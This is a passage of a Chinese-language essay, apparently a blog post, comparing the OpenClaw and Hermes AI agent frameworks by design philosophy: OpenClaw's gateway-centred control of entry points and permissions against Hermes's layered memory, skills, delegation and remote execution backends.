href="https://hermes-agent.nousresearch.com/docs/guides/migrate-from-openclaw">Hermes 官方提供的 <code>Migrate from OpenClaw</code> 指南</a>。</p><p>这件事的意义非常大。</p><p>一个项目愿意专门提供另一个项目的迁移路径，通常说明三件事：</p><ol start="1"><li>它认为对方用户与自己目标用户高度重叠；</li><li>它认为对方沉淀下来的资产值得继承，而不是必须抛弃；</li><li>它不只是想做“新工具”，而是想接管一段既有工作流和心智模型。</li></ol><p>而 Hermes 的迁移指南，恰恰就暴露了这种野心。它不仅尝试接住 <code>SOUL.md</code>、<code>AGENTS.md</code>、<code>MEMORY.md</code>、skills、providers、approval mode、gateway tokens、MCP servers，甚至连 session reset 策略、消息平台配置、环境变量映射都要一起带走。它并不是只想把你“拉新”，而是想把你在 OpenClaw 里已经形成的<strong>行为资产</strong>一起吞进来。</p><p>所以，<code>Hermes</code> 与 <code>OpenClaw</code> 不是两个毫无关系的并列名词，它们更像是同一问题上的两种答案：</p><ul><li>如果你首先把 Agent 当作一个<strong>需要严控入口和边界的控制系统</strong>，你会更容易走向 OpenClaw；</li><li>如果你首先把 Agent 当作一个<strong>需要持续积累与进化的长期系统</strong>，你会更容易走向 Hermes。</li></ul><p><strong>它们之所以值得比较，不是因为功能重叠，而是因为它们都在争夺“Agent 基础设施”的定义权。</strong></p><h2 id="-openclaw-agent-">三、先拆 OpenClaw：它本质上是一台 Agent 网关，而不是单纯聊天壳子</h2><p>我在之前的两篇 OpenClaw 文章里，已经用过比较重的措辞去形容它：数字领地、代理操作系统、物理隔离、多平台代理枢纽。今天重新回头看，我依然认为这种判断大体成立，但我更愿意把它说得再精准一点：</p><p><strong>OpenClaw 首先是一台 Gateway-first 的 Agent 控制平面。</strong></p><p>很多人一看到它能接 Telegram、Discord、Slack、Signal、WhatsApp，以及 Matrix、Feishu、Microsoft Teams 这类扩展渠道，就会本能地把它归类成“高级聊天桥接器”。这其实低估了它。平台接入只是你肉眼最容易看到的一层，真正有分量的，是它围绕 Gateway 建立起来的那整套治理逻辑。</p><p>根据 <a href="https://docs.openclaw.ai/architecture">Gateway Architecture</a> 与 <a href="https://docs.openclaw.ai/agent-runtime">Agent Runtime</a> 的设计，OpenClaw 把系统拆成了几个非常鲜明的角色：</p><ul><li><strong>Gateway</strong>：长期运行的中心进程，持有消息 surface、会话状态、路由能力与部分平台专属连接；</li><li><strong>Clients</strong>：通过 WebSocket 连入 Gateway 的界面或交互端；</li><li><strong>Nodes</strong>：也通过 WebSocket 接入 Gateway，但它们不是 UI，而是带着显式能力声明的执行节点；</li><li><strong>Workspace / Session / Agent 配置</strong>：决定消息如何落到不同上下文、不同规则与不同运行边界。</li></ul><p>这意味着，在 OpenClaw 的世界观里，“Agent”从来不是一个抽象人格，而是一套被放进<strong>消息入口、工作空间、权限声明、节点能力与路由规则</strong>中的可执行实体。</p><p>更具体一点说，OpenClaw 的运行时并不是一团漂浮的“多代理幻觉”。文档里写得很明白：它有一个嵌入式 agent runtime，而 channels、sessions、routing、nodes、bootstrap files 与 tools 决定了这个 runtime 在什么边界内工作。也正因为如此，它给人的感觉才更像控制平面，而不是一串随手堆起来的 prompt。</p><p>这很重要。因为一旦你把问题定义成“控制平面”，很多原本会被聊天产品忽视的东西，就会一下子变成头等大事。</p><h3 id="1-">1. 入口统一不是锦上添花，而是系统的第一性原则</h3><p>OpenClaw 的官方设计把“统一消息入口”放在极高的位置。你可以把 Telegram、Discord、Slack、WhatsApp、Signal 这类外部平台理解成不同国家的港口，而 Gateway 就像一个中央海关。所有船都可以来，但<strong>不是直接闯进仓库</strong>，而是先经过主权边界、身份验证、路由判断、会话归属、节点能力裁剪，最后再进入具体工作空间。</p><p>这就是为什么 OpenClaw 的很多“繁琐配置”其实不是负担，而是这种世界观的自然结果。比如：</p><ul><li>某些平台需要配对审批，而不是 token 一贴就自动放行；</li><li>某些账号需要群组白名单或明确 mention 才能触发；</li><li>某些设备能力必须在节点层做 deny commands；</li><li>某些工作区必须物理隔离，避免上下文污染；</li><li>某些自动回复需要进队列，不能并发乱闯。</li></ul><p>如果你只是把 Agent 当作一个“更聪明的聊天机器人”，这些设计会显得很重；但如果你把它当作一个<strong>真实连接多平台、多设备、多工作空间、多模型提供商的执行中枢</strong>，这些设计才像它该有的样子。</p><h3 id="2-12700118789-">2. <code>127.0.0.1:18789</code> 背后的，不只是一个端口</h3><p>我一直很喜欢 OpenClaw 文档对默认控制平面的处理方式。它把核心监听收敛到 <code>127.0.0.1:18789</code>，强调 loopback、本地优先、必要时通过 Tailscale 或 SSH tunnel 暴露。这并不花哨，却极其说明问题。</p><p>因为这意味着它默认把 Agent 视作<strong>需要先守住本机边界</strong>的系统，而不是天然开放在公网的服务。</p><p>这背后的思想其实很朴素：如果一个系统可以执行命令、读写文件、连接设备、代你回应外部消息，那它首先应该被看作“高权限基础设施”，而不是“会话产品”。一旦这样理解，端口绑定、令牌认证、节点 capability 声明、命令黑名单、会话范围隔离，就都不是次要细节，而是主权设计的一部分。</p><h3 id="3-">3. 节点能力声明，让“执行”从黑箱变成了协商</h3><p>很多所谓 Agent 工具，表面上也能执行 Shell、读写文件、操作浏览器，但这些能力往往是隐式的，甚至有点“工具一开，听天由命”的味道。OpenClaw 对 nodes 的处理更接近工程世界里的资源协商：节点通过 WebSocket 连入 Gateway，并带着自己的能力、命令支持范围、执行环境特征参与系统。</p><p>这件事有两个意义。</p><p>第一，它让<strong>执行权从“模型想干什么”退回到“节点允许什么”</strong>。这看似保守，实则成熟。</p><p>第二，它把多机、多环境、多能力层级的调度问题，从“提示词技巧”变成了<strong>显式架构问题</strong>。你的某个节点可以只负责安全地执行 Shell，另一个节点可以负责受限的浏览器访问，再一个节点可以挂在更高算力机器上提供重推理。这样一来，Agent 不再只是一个人格，它背后是一张可编排的能力网络。</p><h3 id="4-soulworkspace--openclaw-">4. SOUL、Workspace 与会话边界，构成了 OpenClaw 的性格骨架</h3><p>我之前写 OpenClaw 的时候，尤其强调过 <code>SOUL.md</code> 的价值。今天回头看，我依然觉得这是 OpenClaw 最容易被忽视、却非常关键的一点。</p><p>在很多工具里，“人格设定”只是 system prompt 的另一种包装；而在 OpenClaw 体系里，<code>SOUL.md</code>、<code>AGENTS.md</code>、<code>USER.md</code>、工作区规则、会话边界、memory 文件与 skills 之间，形成了一个更接近<strong>操作约束 + 性格约束 + 项目约束</strong>的组合体。官方 system prompt 文档甚至把这些文件明确列成 bootstrap context 的一部分，这就意味着它们不是边角配置，而是行为面的骨架。</p><p>这套设计的妙处在于，它默认承认了一件事实：Agent 的“个性”不是一句 prompt 能讲完的，它需要和工作空间、权限边界、长期记忆共同构成一个稳定的行为面。</p><p>这也是为什么我会把 OpenClaw 视作“数字领地底座”而不是玩具 bot。它的重点从来不是一句话生成得多漂亮，而是你能否在一个统一入口上，把多个平台、多个工作区、多个角色、多个能力节点收编进同一治理框架。</p><h3 id="5-openclaw-">5. OpenClaw 的内核焦虑，是失去控制</h3><p>理解一个系统最好的方式，不是看它宣传什么，而是看它最怕什么。</p><p>OpenClaw 最怕什么？</p><p>它最怕的是：</p><ul><li>入口失控；</li><li>平台混乱；</li><li>会话串线；</li><li>节点越权；</li><li>设备能力被提示词注入滥用；</li><li>多代理互相污染；</li><li>外部消息直接顶到执行层。</li></ul><p>所以它做出来的一切都带着一种鲜明的“控制平面气质”。哪怕是在 memory、skills、agent teams 这些更像“聪明层”的地方，你也能感觉到它始终不愿意失去对边界与归属的把控。</p><p>这就是 OpenClaw 的底色。</p><p>它不是先问“Agent 能不能更像人”，它先问“Agent 能不能先像一套可靠的系统”。</p><h3 id="6-openclaw-">6. OpenClaw 的系统图像</h3><p style="padding:6px 12px;border-left:2px solid #C56473;background:#C5647350;font-style:italic;font-weight:500">Not support render this content in RSS render</p>
<p>你会发现，这张图里最粗的那根骨头不是模型，而是 Gateway。模型当然重要，但在 OpenClaw 的叙事里，它更像可替换算力，而不是文明中心。</p><p>这就是 OpenClaw 的强项，也是它的宿命。</p><h2 id="-hermes-agent-">四、再拆 Hermes：它真正想解决的是 Agent 如何越用越像一个人</h2><p>如果说 OpenClaw 的世界观，是先造一座边界清晰、路由明确、可接万渠的港口城市，那么 Hermes 的野心更像另一种东西：<strong>它想造的不是港口，而是神经系统。</strong></p><p>这句话听上去像夸张修辞，但当你把 Hermes 的官方文档从头到尾读一遍，会发现它几乎所有主轴都在围绕同一个问题打转：</p><p><strong>一个 Agent，怎样才能不是每次都像第一次见你？</strong></p><p>Hermes 文档把自己的身份定义得非常鲜明：它不是一个绑在 IDE 里的代码补全器，也不是一个只能靠单轮上下文撑场面的聊天机器人。它试图成为一个<strong>会积累、会迁移、会委派、会自我修正的长期系统</strong>。</p><h3 id="1-">1. 闭环学习，不是一个营销词，而是产品中心</h3><p>在 Hermes 的叙事里，最关键的不是“有记忆”，而是<strong>记忆能否形成闭环</strong>。这和很多产品嘴上说“我们也有 memory”完全不是一回事。</p><p>Hermes 不是把记忆当作一个辅助模块，而是把它当作系统的方向盘之一。它关心的不只是“保存过什么”，更关心：</p><ul><li>哪些经验值得进入始终加载的短记忆；</li><li>哪些历史应该进入可搜索的长记忆；</li><li>哪些成功模式可以被提炼成 skills；</li><li>哪些失败应当被总结为行为修正；</li><li>用户的偏好、习惯、语气和禁忌，能否在后续任务里自然生效。</li></ul><p>这就是官方文档不断强调 closed learning loop 的原因。真正稀缺的，不是“保存聊天记录”，而是<strong>让聊天记录、项目经验、执行反馈和技能资产互相转化</strong>。</p><h3 id="2-bounded-persistent-memory-hermes-">2. bounded persistent memory，说明 Hermes 不是在幻想“无限记忆”</h3><p>我很欣赏 Hermes 对 memory 的一个处理：它没有天真地承诺“无限上下文”或者“什么都记住”，而是做了一套分层结构。</p><p>根据 <a href="https://hermes-agent.nousresearch.com/docs/user-guide/features/memory/">Hermes Persistent Memory</a> 与 <a href="https://hermes-agent.nousresearch.com/docs/user-guide/sessions/">Sessions 文档</a>，Hermes 的核心长期记忆至少分成了几层：</p><ul><li>一个始终在上下文中的 <code>MEMORY.md</code>，默认预算约为 <code>2200</code> 字符；</li><li>一个面向用户建模的 <code>USER.md</code>，默认预算约为 <code>1375</code> 字符；</li><li>基于 SQLite FTS5 的 <code>session_search</code>，可以在 <code>state.db</code> 与 JSONL transcript 所构成的会话历史里检索再总结；</li><li>外部 memory provider 插件，可以接入更专业的长期记忆存储。</li></ul><p>这意味着 Hermes 不是在搞“无限装载”的幻觉，而是在做一种更像认知系统的分层：</p><ul><li>有些东西必须时刻记得；</li><li>有些东西不必常驻，但要能在需要时想起来；</li><li>有些东西不该只是记住，而该被提炼成技能；</li><li>有些东西则应该被沉淀为稳定的用户模型。</li></ul><p>这比“把所有历史都硬塞进上下文”成熟得多。因为真实的成长，从来不是信息越多越好，而是<strong>筛选、压缩、召回与抽象的质量越高越好</strong>。</p><h3 id="3-skills--hermes-">3. Skills 在 Hermes 里，不是插件边角，而是程序性记忆</h3><p>Hermes 的 skills 体系之所以重要，并不是因为“它也支持技能”，而是因为它把技能放在一个近乎核心资产的位置上。</p><p>在 Hermes 的设计里，skills 不是单纯的 prompt 模板，也不是给用户显摆花样的小工具包。它更接近一种<strong>程序性记忆</strong>：把一次次完成任务的稳定方法，提炼成可以复用、共享、迁移、组合的行为单元。</p><p>更有意思的是，Hermes 还把 skills 视作开放标准的一部分，和 <code>agentskills.io</code> 这样的生态产生关系。这说明它不只是想让你“本地多几个技能包”，而是试图把技能当成跨项目、跨环境、跨人群都可以流动的资产。</p><p>这和 OpenClaw 的 skills 叙事很不一样。OpenClaw 当然也有 skills、plugins、工作区技能与管理技能，但在它的产品神话里，skills 更多像是<strong>可编排能力的一部分</strong>；而在 Hermes 的叙事里，skills 更像<strong>成长之后留下来的能力结晶</strong>。</p><h3 id="4--terminal-backends-hermes-">4. 六种 terminal backends，暴露了 Hermes 的另一个核心欲望：脱离单机束缚</h3><p>Hermes 的另一个非常关键的信号，是它对运行时后端的抽象。</p><p>按我核对的文档，Hermes 当前列出的终端后端包括 <code>local</code>、<code>docker</code>、<code>ssh</code>、<code>Daytona</code>、<code>Singularity</code>、<code>Modal</code>。这个列表本身，比一百句宣传语都更能说明问题。</p><p>因为它告诉你：Hermes 想解决的不是“在你的笔记本上跑一个 agent”，而是“让 agent 可以在不同安全等级、不同持续时长、不同隔离强度、不同成本模型的环境里继续活着”。</p><p>这和 OpenClaw 的思路差别很大。</p><p>OpenClaw 当然也能通过 nodes 把执行能力拉到不同机器上，但它的重心依然是<strong>Gateway 如何统御这些节点</strong>；Hermes 则更像是在说：<strong>Agent 本身不该被困在你当前这台机器上，它应该能够迁移到更适合它工作的环境里。</strong></p><p>这会直接带来几个现实优势：</p><ul><li>长时间任务不再必须占着你的本机；</li><li>更高风险的执行可以放入容器或远端隔离环境；</li><li>更高算力需求的任务可以迁到 SSH/Modal/Daytona 等后端；</li><li>你的聊天入口与实际执行环境可以物理分离。</li></ul><p>这就是为什么我说 Hermes 的野心已经不仅是“让 agent 接入 Telegram/Discord”，而是“让 agent 在时间和空间上都具备持续性”。</p><h3 id="5-delegation--hermes-">5. Delegation 让 Hermes 更像一个会分工的系统，而不是一张万能嘴</h3><p>Hermes 的 subagent delegation 同样不是一个边缘彩蛋，而是核心能力的一部分。官方文档对 child agent、并发上限、上下文隔离、深度限制、delegation patterns 都给了明确说明。以当前文档为准，默认最多并发 <code>3</code> 个子代理；默认 <code>max_spawn_depth=1</code>，也就是平面委派，子代理不能继续递归派生。只有显式启用 <code>role=&quot;orchestrator&quot;</code> 并把 <code>max_spawn_depth</code> 提高到 <code>2</code> 或 <code>3</code>，才会出现孙代理层级。父代理收到的也不是原样上下文回灌，而是子代理的结构化总结。这意味着 Hermes 不是简单支持“多开几个任务”，而是在认真把<strong>任务分工</strong>做成一等公民。</p><p>这件事的意义，远不只是性能或方便。</p><p>它意味着 Hermes 默认承认：一个足够复杂的 Agent，不应该永远靠单一上下文、单一人格、单一执行路径去硬扛所有任务。复杂工作要拆、要分工、要隔离上下文、要限制深度、要控制并发、要让 orchestrator 和 worker 的责任分开。</p><p>这个思路非常像现代工程体系里的微服务和任务编排，但 Hermes 试图把它下沉进“个体 agent”的日常运行里。一个 agent 不再只是一个输出接口，而更像一个会调度自己分身的工作系统。</p><h3 id="6-messaging-gateway--hermes-">6. Messaging gateway 在 Hermes 里也重要，但不再是唯一神</h3><p>有人可能会说：Hermes 也有 messaging gateway，也能接十几个平台，为什么还要强调它和 OpenClaw 不一样？</p><p>答案是：<strong>重要性排序不同。</strong></p><p>Hermes 的 gateway 的确很强。按 sessions 文档列出的来源，它覆盖了 CLI、本地 TUI、Telegram、Discord、Slack、WhatsApp、Signal、Matrix、email、cron、webhook 等会话入口。但 Hermes 的整个产品叙事，并没有像 OpenClaw 一样把 Gateway 塑造成宇宙中心。</p><p>在 Hermes 的世界里，messaging gateway 更像一条非常重要的输入输出神经，而不是整个神经系统本身。真正的中心，仍然是 memory、skills、delegation、backends 与 automations 共同构成的<strong>持续工作能力</strong>。</p><h3 id="7-hermes-">7. Hermes 的系统图像</h3><p style="padding:6px 12px;border-left:2px solid #C56473;background:#C5647350;font-style:italic;font-weight:500">Not support render this content in RSS render</p>
<p>这张图和 OpenClaw 那张图最大的区别，不在于有没有 gateway，而在于<strong>哪根线最粗</strong>。在 Hermes 里，最粗的线不再是入口，而是持续性。</p><p>它要的不是一座把船接进来的港口，而是一个会长出经验、技能和分工机制的工作大脑。</p><h2 id="">五、第一轮正面对决：两者在设计哲学上到底差了什么</h2><p>如果前面两章还只是拆解，那么从这里开始，我们就该把刀口直接对准核心差异了。</p><p>很多文章喜欢在这个时候开始列表，说谁支持 Telegram，谁支持 SSH，谁支持自动化，谁支持 memory。那种比较当然也能做，但它很容易把真正重要的问题稀释掉。</p><p>我更愿意先给出一句可能会得罪一部分人的判断：</p><p><strong>OpenClaw 和 Hermes 的差异，本质上不是功能差异，而是“系统人格差异”。</strong></p><p>一个系统的功能可以补，一个系统的插件可以装，一个系统的模型提供商可以换；但一个系统最初把什么当成文明中心，这个东西通常非常难改。它会决定默认配置、文档叙事、治理逻辑、扩展方向、用户群体，甚至决定它遇到矛盾时优先保护什么。</p><h3 id="1-openclaw">1. OpenClaw：通道优先、控制平面优先、主权先行</h3><p>OpenClaw 的哲学可以浓缩成一句话：</p><p><strong>先把入口和边界守住，再谈智能如何生长。</strong></p><p>所以你会看到它天然偏好：</p><ul><li>单一长期运行的 Gateway；</li><li>统一消息 surface；</li><li>明确的节点能力声明；</li><li>会话与工作区隔离；</li><li>平台配对与审批；</li><li>物理级权限裁剪；</li><li>通过 routing 和 policy 来控制“谁能被什么触发”。</li></ul><p>这是一种很工程化、很像“控制系统”的思维。它先把交通秩序、安保系统、港口调度和仓库归属建好，再来讨论仓库里放什么货。</p><p>这也解释了为什么 OpenClaw 的魅力，往往会最先打动那类特别在意边界的人：极客、自托管爱好者、多平台代理重度使用者、本地优先主义者、对设备权限和网络暴露有明确警惕的人。</p><h3 id="2-hermes">2. Hermes：学习优先、能力积累优先、运行环境抽象优先</h3><p>Hermes 的哲学则是另一句话：</p><p><strong>先让 Agent 拥有时间维度，再谈它如何接住更多入口。</strong></p><p>所以你会看到它天然偏好：</p><ul><li>bounded persistent memory；</li><li>session search 与长期召回；</li><li>user modeling；</li><li>skills 的沉淀与开放标准化；</li><li>subagent delegation；</li><li>remote terminal backends；</li><li>scheduled automations；</li><li>把经验转化为下一次能力的闭环。</li></ul><p>这是一种更像“认知系统”的思维。它关心的不是先建一个巨大的港口，而是先让大脑学会记住、学会检索、学会归纳、学会把成功模式固化成技能，然后再让这些能力进入更多输入输出通道。</p><p>这也解释了为什么 Hermes 会更吸引另一类人：长期与 agent 协作的人、希望 agent 越用越懂自己的人、需要 remote execution 的人、需要分工与自动化的人、把 agent 当作长期生产系统而不是消息机器人来使用的人。</p><h3 id="3-">3. 它们真正分叉的地方，是“先保护什么”</h3><p>如果要我用一句极端凝练的话来总结两者差异，我会说：</p><p><strong>OpenClaw 首先保护的是系统的边界；Hermes 首先保护的是系统的连续性。</strong></p><p>这句话很重要。</p><p>因为边界与连续性，恰恰是 Agent 基础设施最容易互相拉扯的两端。</p><ul><li>你越强调边界，系统往往越保守、越审慎、越依赖显式规则；</li><li>你越强调连续性，系统往往越想积累、越想召回、越想迁移、越想从历史中长出新的能力。</li></ul><p>一个产品的默认姿态，本质上就是它对这组张力的取舍。</p><h3 id="4-">4. 一张总对照表</h3><table><thead><tr><th style="text-align:left"> 维度 </th><th style="text-align:left"> OpenClaw </th><th style="text-align:left"> Hermes </th></tr></thead><tbody><tr><td style="text-align:left"> 核心叙事 </td><td style="text-align:left"> 统一消息入口、网关主权、可控执行边界 </td><td style="text-align:left"> 学习闭环、长期记忆、能力演化 </td></tr><tr><td style="text-align:left"> 控制中心 </td><td style="text-align:left"> Gateway / Routing / Nodes </td><td style="text-align:left"> Memory / Skills / Delegation / Backends </td></tr><tr><td style="text-align:left"> 系统气质 </td><td style="text-align:left"> 控制平面、港口、调度中枢 </td><td style="text-align:left"> 认知系统、神经网络、工作大脑 </td></tr><tr><td style="text-align:left"> 优先保护 </td><td style="text-align:left"> 入口、权限、会话边界、设备能力 </td><td style="text-align:left"> 连续性、召回质量、技能资产、长期人格 </td></tr><tr><td style="text-align:left"> 适合的第一批用户 </td><td style="text-align:left"> 多平台入口重度用户、自托管极客、主权优先者 </td><td style="text-align:left"> 长期协作者、重记忆和自动化者、远程运行重度用户 </td></tr><tr><td style="text-align:left"> 最大诱惑 </td><td style="text-align:left"> 一切入口收编到自己控制之下 </td><td style="text-align:left"> 一个 Agent 越用越像“你的系统” </td></tr><tr><td style="text-align:left"> 最大代价 </td><td style="text-align:left"> 配置重、边界治理复杂、平台兼容性持续维护 </td><td style="text-align:left"> 记忆治理难、技能膨胀、远程后端安全与成本管理复杂 </td></tr></tbody></table><p>看明白这张表之后，你其实已经能理解后面大半篇文章的结论了。</p><p><strong>OpenClaw 更像“通道优先、控制平面优先、主权先行”的系统。</strong></p><p><strong>Hermes 更像“学习优先、能力积累优先、运行环境抽象优先”的系统。</strong></p><p>这一章不讨论输赢，只讨论气质。因为很多时候，用户选错工具，不是功能不够，而是气质不合。</p><h2 id="">六、第二轮正面对决：入口、记忆、技能、执行环境、协作模型逐项拆开</h2><p>现在我们进入更硬的一层。既然系统人格已经定性，那就必须把关键模块逐项拆开，看看这种人格到底是怎么落到技术结构里的。</p><h3 id="1-openclaw-hermes-">1. 入口层：OpenClaw 把入口当疆域，Hermes 把入口当神经末梢</h3><p>OpenClaw 的入口观非常强硬。Gateway 持有所有消息 surface，这不仅是实现问题，更是政治问题。它相当于在说：<strong>所有来自外部世界的触发，都必须先经过我这个中央关口。</strong></p><p>这就是为什么 OpenClaw 的平台适配、工作区匹配、配对审批、群组 allowlist、mention policy、account 绑定、channel scope 都那么显眼。它不允许入口绕过控制面，直接撞到执行层。</p><p>从工程角度看，这种设计有三个明显好处：</p><ul><li>入口统一，利于治理；</li><li>平台差异被 Gateway 吃掉，利于抽象；</li><li>安全策略、路由策略、工作区归属都可集中管理。</li></ul><p>但代价也存在：入口一旦成为一切的中心，你的复杂度也会在这里堆积。平台兼容性、会话奇怪行为、token 轮换、bot 权限、平台 API 漂移，都更容易在 Gateway 层持续吞噬维护精力。</p><p>Hermes 当然也不缺入口。官方文档里的会话来源覆盖得很广，从 CLI 到消息平台，再到 email、cron 与 webhook 都算入口。但 Hermes 对入口的态度更像是：<strong>它必须强，但它不是文明中心。</strong></p><p>这就像一个人拥有嘴巴、耳朵、眼睛，但文明中心不是感官，而是大脑与神经系统。Hermes 的消息入口很强，却更像服务于长期系统的 I/O 层，而不是唯一主轴。</p><p>如果你最看重的是“把各种现实世界入口统一收编”，OpenClaw 会天然更打你；如果你更看重“入口只是任务进入系统的一种方式”，Hermes 的视角会更顺。</p><h3 id="2-openclaw-hermes-">2. 记忆层：OpenClaw 更像可审计笔记本，Hermes 更像分层认知架构</h3><p>这可能是二者最容易被说成“都差不多”的地方，但其实恰恰相反：它们在记忆上的差异，非常能暴露路线分叉。</p><p>根据 <a href="https://docs.openclaw.ai/concepts/memory">OpenClaw Memory Overview</a>，OpenClaw 的 memory 体系围绕文件化与工作区可见性展开。官方直接强调：模型只会记住写进磁盘的东西，没有隐藏状态。<code>MEMORY.md</code> 是常规长期记忆入口，<code>memory/YYYY-MM-DD.md</code> 承担 daily notes 的角色，而且今天与昨天的日记会被自动加载；<code>DREAMS.md</code> 则承担更像“后台整理”或灵感沉淀的角色。除此之外，它还有 <code>memory_get</code>、<code>memory_search</code> 之类工具，并通过 SQLite / 向量 / 混合搜索来完成召回。</p><p>这套体系的优点非常鲜明：</p><ul><li>可审计；</li><li>可编辑；</li><li>与工作区绑定清晰；</li><li>记忆是一种你能摸得着、改得了、提交得出的资产；</li><li>对于本地优先和项目导向的使用方式非常友好。</li></ul><p>你甚至可以把它理解成一种“工程师式记忆”：它不追求像人脑那样暧昧而流动，而是尽量把长期经验落成结构清晰、归属明确、文件可见的存档。</p><p>而 Hermes 的记忆观则明显更“认知化”。</p><p>它一方面给出严格的 bounded memory：<code>MEMORY.md</code> 与 <code>USER.md</code> 都有明确的上下文预算，不鼓励失控膨胀；另一方面又通过 <code>session_search</code> 和 FTS5 把历史检索能力做成一等公民，还允许接入外部 memory provider。也就是说，Hermes 把“记住”拆成了至少三层：</p><ul><li>常驻短记忆；</li><li>可搜索的长记忆；</li><li>可结构化沉淀的技能与用户模型。</li></ul><p>这套思路更接近人的认知系统：不是所有东西都要一直背着，但该想起来的时候要能想起来；不是所有历史都值得常驻，但有些模式应该被抽象成能力，而不是变成堆积的聊天记录。</p><p>所以，如果要一句话总结二者记忆差异，我会说：</p><p><strong>OpenClaw 的记忆像一本可审计、可归档、可控边界的工程日志。</strong></p><p><strong>Hermes 的记忆像一个会筛选、召回、压缩并继续长出技能的认知分层系统。</strong></p><h3 id="3-openclaw-hermes-">3. 技能层：OpenClaw 的技能更像扩展能力，Hermes 的技能更像经验结晶</h3><p>OpenClaw 的 skills、plugins、bundled channels、workflow pipelines 当然不弱。它有足够强的扩展性，也允许工作区技能和管理技能共存。这一套更接近“把 Agent 的手脚装齐”：让它可以处理更多动作、更多平台、更多外部连接。</p><p>但 Hermes 的 skills 叙事更像是在说：<strong>技能不是外挂，而是经验的硬化形态。</strong></p><p>这带来两个很大的差异。</p><p>第一，Hermes 的 skill 更强调 portable、standardized、shareable。它希望技能不仅能在你当前任务里用，还能成为你未来所有任务的资产。</p><p>第二，Hermes 的 skill 更紧密地连接 memory 与 learning loop。也就是说，skills 并不只是“提前写好的技巧包”，它们还承担了一部分“把长期经验固化成可复用方法”的功能。</p><p>这就是为什么我会说，OpenClaw 的 skills 更像<strong>扩展能力</strong>，Hermes 的 skills 更像<strong>程序性记忆</strong>。</p><h3 id="4-openclaw-hermes-">4. 执行层：OpenClaw 强在控制，Hermes 强在迁移</h3><p>执行层的差异同样非常深。</p><p>OpenClaw 的执行世界，是 Gateway 统御下的 nodes 世界。你可以把它理解成：所有执行都必须纳入一个中心控制面里，被工作区归属、节点能力、命令权限与平台路由共同约束。它非常适合处理“这台机器能干什么、那台机器能干什么、哪些命令必须拉黑、哪些设备能力绝不开放”这类问题。</p><p>这种设计对于强调物理边界的人极具吸引力。因为你清楚知道：</p><ul><li>哪个节点提供了什么能力；</li><li>哪些命令会被拦截；</li><li>哪些工作区能访问哪些文件；</li><li>哪个平台来的消息最终会进入哪个执行环境。</li></ul><p>而 Hermes 的执行层，则明显更偏向“运行时抽象”。它把 local、docker、ssh、Daytona、Singularity、Modal 这些后端放到同一个终端抽象之下，本质上是在回答一个更大的问题：</p><p><strong>Agent 该不该永远绑定在用户眼前这台机器上？</strong></p><p>Hermes 的答案显然是否定的。</p><p>这种思路的优点，在今天越来越明显：</p><ul><li>远程任务不再依赖本地机器持续在线；</li><li>隔离环境变成常态，而非额外补丁；</li><li>迁移工作负载到更合适的环境更自然；</li><li>你可以把聊天入口留在日常平台，把高风险执行丢给更强、更远、更隔离的后端。</li></ul><p>所以，OpenClaw 强在<strong>可控执行</strong>，Hermes 强在<strong>可迁移执行</strong>。这两个词看起来只差一个字，背后其实是两套完全不同的工程取向。</p><h3 id="5-openclaw-hermes-">5. 协作层：OpenClaw 像调度中枢，Hermes 像任务分形</h3><p>多代理协作这件事，也是二者差异非常有戏的一层。</p><p>OpenClaw 的多代理思路，很容易让人想到调度中心与特种工种。你可以通过 workspace 隔离、SOUL 角色定义、routing、agent teams、handoff 机制，把不同代理塑造成不同功能角色。它强调的是：<strong>让不同角色在同一控制平面下，按边界和规则被调度起来。</strong></p><p>我之前写“北斗七星”式流水线，其实就是把这种思路写得更戏剧化了一点：天枢感知、玉衡设计、天玑执行，本质上依然是 Gateway-first 的编排世界。</p><p>Hermes 的 delegation 则更像另一种东西：<strong>任务分形。</strong></p><p>它允许你在当前 Agent 中继续派生子代理，让每个子代理拥有隔离上下文、独立终端会话、受限工具集，并根据 delegation patterns 处理不同子问题。这里的重点不再是“有几个角色被 central router 叫醒”，而是“当前系统能否自发地把复杂任务分裂成可并行的局部工作单元”。</p><p>从协作哲学看：</p><ul><li>OpenClaw 更像一个总调度台，强调<strong>角色清晰、入口统一、边界明确</strong>；</li><li>Hermes 更像一个可自我裂变的工作系统，强调<strong>任务拆分、并发推进、局部隔离</strong>。</li></ul><h3 id="6-openclaw-hermes-">6. 自动化层：OpenClaw 重通道连续性，Hermes 重工作连续性</h3><p>自动化能力是很多人喜欢一笔带过的部分，但我认为它恰恰能揭示二者对“持续性”的不同理解。</p><p>OpenClaw 的自动化，天然容易和消息通道、会话入口、平台推送绑在一起。它非常适合做“某个平台来的事件应该触发什么工作流”“某个 Bot 在特定频道如何响应”“某个 gateway 内的周期任务如何回到某个消息 surface”。</p><p>Hermes 的 scheduled automations 则更强调“这个 Agent 自己有哪些应该持续做的工作”。定时任务在它那里不是仅仅服务于消息平台，而是整个长期工作系统的一部分。你可以把它理解成：OpenClaw 更像在维持<strong>通道的连续性</strong>，Hermes 更像在维持<strong>工作的连续性</strong>。</p><h3 id="7-">7. 这一轮对决的结论</h3><p>如果把这一整章压缩成一句话，那就是：</p><p><strong>OpenClaw 把 Agent 放进一个可治理的基础设施框架里；Hermes 则试图让基础设施本身长出时间维度。</strong></p><p>这两者都很高级，也都很难。真正可怕的不是它们谁做不到，而是用户自己根本没分清自己在买哪一套逻辑。</p>
<h2 id="-openclaw--hermes-">七、为什么说 OpenClaw 更像“入口主权”，而 Hermes 更像“学习主权”</h2><p>这是我整篇文章最想讲清楚的一章。因为如果不把这个概念讲透，后面所有对比都会滑回“功能表比较”。</p><h3 id="1-">1. 什么叫入口主权</h3><p>所谓入口主权，不是一个空洞的政治大词。落到 Agent 基础设施上，它至少意味着：</p><ul><li>你知道消息从哪里进来；</li><li>你知道什么消息可以触发系统；</li><li>你知道不同平台、不同账号、不同群组、不同私聊该落到哪个工作区；</li><li>你知道执行权是通过哪些节点、哪些命令、哪些权限边界被授予的；</li><li>你知道哪些设备能力被永远封死；</li><li>你知道控制平面是否暴露公网，还是被 loopback、tunnel、allowlist 保护。</li></ul><p>本质上，入口主权首先是一种<strong>控制消息流、命令流与权限流的能力</strong>。</p><p>OpenClaw 在这方面非常强，甚至可以说，这是它存在的根本理由。它让你把平台入口、工作区归属、节点能力、命令权限、会话范围都纳入可见、可配、可审计的体系里。它提醒你：不要把高权限 Agent 当成一个单纯的聊天玩具，它首先是一套要守住边界的执行基础设施。</p><p>这就是我为什么一直认为，OpenClaw 对“数字主权”的理解带有非常强的基础设施味道。它不是在卖你一个更聪明的助手，而是在帮你收回<strong>入口控制权</strong>。</p><h3 id="2-">2. 